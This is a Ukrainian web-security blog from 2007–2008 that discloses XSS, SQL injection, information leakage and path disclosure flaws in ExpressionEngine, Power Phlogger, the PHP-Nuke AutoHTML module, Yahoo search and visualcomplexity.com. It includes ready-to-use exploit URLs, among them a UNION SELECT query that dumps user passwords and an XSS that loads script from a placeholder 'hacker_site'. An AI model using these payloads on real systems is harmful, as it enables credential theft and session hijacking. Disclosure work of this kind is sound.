Websecurity - Веб безпека

08.05.2008

У жовтні, 16.10.2007, я знайшов Cross-Site Scripting уразливість в системі ExpressionEngine. Раніше я вже писав про уразливість в ExpressionEngine.

Деталі уразливості з’являться пізніше, спочатку повідомлю розробникам системи.

11.06.2008

Уразливість в скрипті index.php в параметрі URL, якщо включений meta-refresh редиректор.

XSS:

http://site/index.php?URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Уразлива версія ExpressionEngine 1.3.1 та попередні. Починаючи з версії ExpressionEngine 1.4 уразливість вже виправлена, як повідомили мені розробники EE. Спочатку я виявив дану дірку на сайті з EE 1.6.0 (а потім 1.6.3), але як я вияснив на тому сайті використовувся старий index.php, тому вразливими є тільки версії EE до 1.3.1 включно.

Виявлена Cross-Site Scripting уразливість у F5 Firepass.

Уразливі версії: F5 FirePass 6.0.

Міжсайтовий скриптінг через сторінку керування захистом від міжсайтового скриптінга.

Дуже весела дірка . Це ще треба так вміти, щоб зробити XSS дірку в панелі керування захистом від XSS.

• F5 FirePass Content Inspection Management XSS (деталі)

В даній добірці уразливості в веб додатках:

• WSPortal version 1.0 SQL Injection Vulnerability (деталі)
• WSPortal version 1.0 Path Disclosure Vulnerability (деталі)
• H4CREW-000005 EasyNews Pro 4.0 XSS & CSRF (деталі)
• Sitellite cms <= 4.2.12 RFI Vuln (деталі)
• PhpListPro Persistent XSS Vulnerability (деталі)
• Papoo CMS - Multiple Cross Site Scripting (деталі)
• Orkut Server Side Session Management Error (деталі)
• eNdonesia 8.4 [multiple injection sql] (деталі)
• All Of the Mambo & Joomla Script Remote File Inclussion Bugs (деталі)
• Vulnerability in Kiwi CatTools (деталі)

07.02.2008

У липні, 08.07.2007, я знайшов Cross-Site Scripting уразливість в пошуковій системі http://www.godado.it. Про що найближчим часом сповіщу адміністрацію системи.

До речі, даний пошуковець використовує движок Ask.com (тому дана компанія також несе відповідальність за уразливість).

Детальна інформація про уразливість з’явиться пізніше.

09.06.2008

XSS:

• alert(document.cookie)

Дану уразливість вже виправили. Але зробили це лише частково, тому при невеличкій модифікації коду вона знову працює.

XSS:

• alert(document.cookie) (IE)
• alert(document.cookie) (Mozilla)
• цікавий (Mozilla)

До раніше мною оприлюднених уразливостей в Power Phlogger, повідомляю про нові уразливості в даній системі для ведення статистики відвідувань. Деякий час тому, 16.02.2008 та 31.05.2008, я виявив SQL Injection, Information Leakage та Full path disclosure уразливості в Power Phlogger. Про що найближчим часом повідомлю розробникам веб додатку.

SQL Injection:

http://site/edCss.php?css_str=-1%20union%20select%20null,null,id,username,pw,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20pphl_users%20limit%200,1&action=edit

Information Leakage:

http://site/robots.txt

В robots.txt вказані важливі папки системи, що дозволяє знайти її ресурси та виявити інші Information Disclosure уразливості.

Full path disclosure:

http://site/modules/htmlMimeMail.php

http://site/modules/img_vis_per_hour.mod.php

http://site/modules/usercreate.php

Уразлива версія Power Phlogger 2.2.5 та попередні версії.

Це п’ята частина уразливостей в Power Phlogger. Найближчим часом напишу про інші уразливості в даному веб додатку.

В даній добірці уразливості в веб додатках:

• Local File Include Vulnerabilities in YaBB <= 2.1(all version) (деталі)
• iG Shop 1.4 eval Inclusion Vulnerability (деталі)
• fusetalk SQL (autherror.cfm) (деталі)
• Fusetalk SQL injection submission. (деталі)
• rm@calima.serapis.net (деталі)
• fuzzylime (forum) XSS (деталі)
• Webif.cgi local file inclusion (деталі)
• PHP hosting Biller (деталі)
• Utopia News Pro version 1.4.0 XSS Attack Vulnerability (деталі)
• PHP-інклюдинг в MyPHPCommander (деталі)

21.09.2007

Позавчора, 19.09.2007, я знайшов Cross-Site Scripting уразливість на http://search.yahoo.com - в пошуковій системі Yahoo. Про що найближчим часом сповіщу адміністрацію системи.

Раніше я вже писав під час MOSEB про уразливість в Image Search of Yahoo! Search.

Детальна інформація про уразливість з’явиться пізніше.

30.05.2008

XSS:

• alert(document.cookie) (IE)

Дану уразливість, що працює при UTF-8 кодуванні сторінки (яке задане в Yahoo), вони вже виправили. Але дана уразливість також працює з Japanese (SHIFT_JIS) та Japanese (Auto-Select) кодуванням в Internet Explorer (але тільки, коли їх задати власноруч в браузері).

XSS:

• alert(document.cookie) (IE)
• цікавий (IE)

Дана уразливість так досі не виправлена (хоча про другу уразливість, при двох інших кодуваннях, я Yahoo повідомляв).

Вчора, 28.05.2008, я знайшов Cross-Site Scripting уразливість в модулі AutoHTML для PHP-Nuke. Про Local File Inclusion, Directory Traversal та Information Leakage уразливості в даному модулі для PHP-Nuke я писав раніше.

XSS:

http://site/autohtml.php?filename=%3Cscript%20src=http://hacker_site/xss.js%20

В даному випадку відбувається обхід анти-XSS фільтрів PHP-Nuke.

Уразлива версія PHP-Nuke AutoHTML Module 2.0 (та потенційно інші версії).

В даній добірці уразливості в веб додатках:

• Comdev eCommerce 4.1 RFI Vulnerability (деталі)
• Comdev Web Blogger 4.1 RFI Vulnerability (деталі)
• Full Path Disclosure eqDKP 1.3.2c and prior (деталі)
• Letterman subscriber module XSS vulnerability (деталі)
• RFI In Script SH-News 3.1 (деталі)
• ByPass In PortalApp (деталі)
• MIME-tools 5.411 (Entity 5.404) (деталі)
• Elxis CMS <= 2006.4 - banner module - sql injection (деталі)
• Уразливості smf 1.1.2 (деталі)
• SQL injection vulnerability in LushiNews (деталі)

01.02.2008

У липні, 07.07.2007, я знайшов Full path disclosure, Information Leakage та Cross-Site Scripting уразливості на проекті http://www.visualcomplexity.com. Про що найближчим часом сповіщу адміністрацію проекту.

Детальна інформація про уразливості з’явиться пізніше.

28.05.2008

Full path disclosure:

http://www.visualcomplexity.com/vc/project_details.cfm?id=481&index=481'&domain=
http://www.visualcomplexity.com/vc/project_details.cfm?id=481'&index=481&domain=

Information Leakage:

http://www.visualcomplexity.com/vc/project_details.cfm?id=481&index=481'&domain=
http://www.visualcomplexity.com/vc/project_details.cfm?id=481'&index=481&domain=

XSS:

• alert(document.cookie)
• цікавий
• html включення

Дані уразливості досі не виправлені.